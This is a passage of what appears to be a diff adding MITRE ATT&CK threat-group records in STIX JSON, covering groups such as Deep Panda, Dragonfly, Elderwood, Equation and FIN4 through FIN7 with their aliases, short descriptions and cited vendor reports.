"https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/", + "description": "Microsoft. (2016, June 20). Reverse-engineering DUBNIUM\u2019s Flash-targeting exploit. Retrieved March 31, 2021.", + "source_name": "Microsoft DUBNIUM Flash June 2016" + }, + { + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021.", + "source_name": "Microsoft DUBNIUM July 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Deep Panda", + "x_mitre_version": "1.2", + "modified": "2021-02-09T13:49:09.605Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Deep Panda", + "Shell Crew", + "WebMasters", + "KungFu Kittens", + "PinkPanther", + "Black Vine" + ], + "id": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)", + "x_mitre_contributors": [ + "Andrew Smith, @jakx_" + ], + "created": "2017-05-31T21:31:49.412Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0009", + "url": "https://attack.mitre.org/groups/G0009" + }, + { + "description": "(Citation: Alperovitch 2014)", + "source_name": "Deep Panda" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "Shell Crew" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "WebMasters" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "KungFu Kittens" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "PinkPanther" + }, + { + "description": "(Citation: Symantec Black Vine)", + "source_name": "Black Vine" + }, + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + }, + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf" + }, + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "source_name": "Symantec Black Vine" + }, + { + "source_name": "ICIT China's Espionage Jul 2016", + "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", + "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "DragonOK", + "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", + "x_mitre_version": "1.0", + "modified": "2019-03-22T20:10:32.917Z", + "aliases": [ + "DragonOK" + ], + "created": "2017-05-31T21:31:53.197Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0017", + "external_id": "G0017", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Operation Quantum Entanglement) (Citation: New DragonOK)", + "source_name": "DragonOK" + }, + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "source_name": "New DragonOK" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Dragonfly", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", + "x_mitre_version": "2.1", + "modified": "2021-10-12T22:07:18.072Z", + "aliases": [ + "Dragonfly", + "TG-4192", + "Crouching Yeti", + "IRON LIBERTY", + "Energetic Bear" + ], + "created": "2017-05-31T21:32:05.217Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0035", + "external_id": "G0035", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)", + "source_name": "Dragonfly" + }, + { + "description": "(Citation: Secureworks IRON LIBERTY July 2019)", + "source_name": "TG-4192" + }, + { + "description": "(Citation: Secureworks IRON LIBERTY July 2019)", + "source_name": "Crouching Yeti" + }, + { + "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)", + "source_name": "IRON LIBERTY" + }, + { + "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)", + "source_name": "Energetic Bear" + }, + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + }, + { + "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", + "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.", + "source_name": "Secureworks IRON LIBERTY July 2019" + }, + { + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017" + }, + { + "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/", + "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", + "source_name": "Fortune Dragonfly 2.0 Sept 2017" + }, + { + "url": "https://www.dragos.com/threat/dymalloy/", + "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.", + "source_name": "Dragos DYMALLOY " + }, + { + "url": "https://www.secureworks.com/research/mcmd-malware-analysis", + "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.", + "source_name": "Secureworks MCMD July 2019" + }, + { + "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", + "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.", + "source_name": "Secureworks Karagany July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Dragonfly 2.0", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", + "x_mitre_version": "2.1", + "modified": "2021-10-14T20:07:00.932Z", + "aliases": [ + "Dragonfly 2.0", + "IRON LIBERTY", + "DYMALLOY", + "Berserk Bear" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0074", + "external_id": "G0074", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "source_name": "Dragonfly 2.0" + }, + { + "description": "(Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY)", + "source_name": "IRON LIBERTY" + }, + { + "description": "(Citation: Dragos DYMALLOY )", + "source_name": "DYMALLOY" + }, + { + "description": "(Citation: Fortune Dragonfly 2.0 Sept 2017)", + "source_name": "Berserk Bear" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + }, + { + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017" + }, + { + "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/", + "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", + "source_name": "Fortune Dragonfly 2.0 Sept 2017" + }, + { + "url": "https://www.dragos.com/threat/dymalloy/", + "description": "Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.", + "source_name": "Dragos DYMALLOY " + }, + { + "url": "https://www.secureworks.com/research/mcmd-malware-analysis", + "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.", + "source_name": "Secureworks MCMD July 2019" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/iron-liberty", + "description": "Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020.", + "source_name": "Secureworks IRON LIBERTY" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Dust Storm", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", + "x_mitre_version": "1.0", + "modified": "2019-03-22T20:14:29.575Z", + "aliases": [ + "Dust Storm" + ], + "created": "2017-05-31T21:32:03.306Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0031", + "external_id": "G0031", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cylance Dust Storm)", + "source_name": "Dust Storm" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-03-02T22:40:11.097Z", + "name": "Elderwood", + "x_mitre_version": "1.2", + "created": "2018-04-18T17:59:24.739Z", + "type": "intrusion-set", + "id": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0066", + "external_id": "G0066", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Security Affairs Elderwood Sept 2012) (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "source_name": "Elderwood" + }, + { + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "source_name": "Elderwood Gang" + }, + { + "description": "(Citation: CSM Elderwood Sept 2012)", + "source_name": "Beijing Group" + }, + { + "description": "(Citation: CSM Elderwood Sept 2012)", + "source_name": "Sneaky Panda" + }, + { + "source_name": "Security Affairs Elderwood Sept 2012", + "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.", + "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "aliases": [ + "Elderwood", + "Elderwood Gang", + "Beijing Group", + "Sneaky Panda" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Equation", + "description": "[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", + "x_mitre_version": "1.2", + "modified": "2020-06-29T01:39:22.044Z", + "aliases": [ + "Equation" + ], + "created": "2017-05-31T21:31:54.697Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0020", + "external_id": "G0020", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky Equation QA)", + "source_name": "Equation" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "source_name": "Kaspersky Equation QA" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Evilnum", + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)", + "x_mitre_version": "1.0", + "modified": "2021-04-27T19:55:58.323Z", + "aliases": [ + "Evilnum" + ], + "created": "2021-01-22T16:46:17.790Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0120", + "external_id": "G0120", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET EvilNum July 2020)", + "source_name": "Evilnum" + }, + { + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.", + "source_name": "ESET EvilNum July 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FIN10", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)", + "x_mitre_version": "1.3", + "modified": "2021-05-26T12:35:39.400Z", + "aliases": [ + "FIN10" + ], + "created": "2017-12-14T16:46:06.044Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0051", + "external_id": "G0051", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye FIN10 June 2017)", + "source_name": "FIN10" + }, + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "FIN4", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", + "x_mitre_version": "1.2", + "modified": "2021-08-11T20:45:59.687Z", + "aliases": [ + "FIN4" + ], + "created": "2019-01-31T02:01:45.129Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0085", + "url": "https://attack.mitre.org/groups/G0085" + }, + { + "description": "(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", + "source_name": "FIN4" + }, + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye FIN4 Stealing Insider NOV 2014", + "description": "Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FIN5", + "x_mitre_version": "1.2", + "modified": "2021-10-16T19:48:37.809Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "FIN5" + ], + "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0053", + "external_id": "G0053", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "FIN5" + }, + { + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html", + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "source_name": "FireEye Respond Webinar July 2017" + }, + { + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016" + }, + { + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "source_name": "DarkReading FireEye FIN5 Oct 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "FIN6", + "x_mitre_version": "3.2", + "modified": "2021-10-14T17:23:58.316Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "FIN6", + "Magecart Group 6", + "SKELETON SPIDER", + "ITG08" + ], + "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Drew Church, Splunk" + ], + "created": "2017-05-31T21:32:06.015Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0037", + "external_id": "G0037", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye FIN6 April 2016)", + "source_name": "FIN6" + }, + { + "description": "(Citation: Security Intelligence ITG08 April 2020)", + "source_name": "Magecart Group 6" + }, + { + "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)", + "source_name": "SKELETON SPIDER" + }, + { + "description": "(Citation: Security Intelligence More Eggs Aug 2019)", + "source_name": "ITG08" + }, + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + }, + { + "url": "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "description": "Villadsen, O. (2020, April 7). ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework. Retrieved October 8, 2020.", + "source_name": "Security Intelligence ITG08 April 2020" + }, + { + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "source_name": "Crowdstrike Global Threat Report Feb 2018" + }, + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FIN7", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)", + "x_mitre_version": "2.0", + "modified": "2021-10-19T00:02:08.486Z", + "aliases": [ + "FIN7", + "GOLD NIAGARA", + "ITG14", + "Carbon Spider" + ], + "created": "2017-05-31T21:32:09.460Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0046", + "external_id": "G0046", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)", + "source_name": "FIN7" + }, + { + "description": "(Citation: Secureworks GOLD NIAGARA Threat Profile)", + "source_name": "GOLD NIAGARA" + }, + { + "description": "ITG14 shares campaign overlap with FIN7.(Citation: IBM Ransomware Trends September 2020)", + "source_name": "ITG14" + }, + { + "description": "(Citation: CrowdStrike Carbon Spider August 2021)", + "source_name": "Carbon Spider" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global 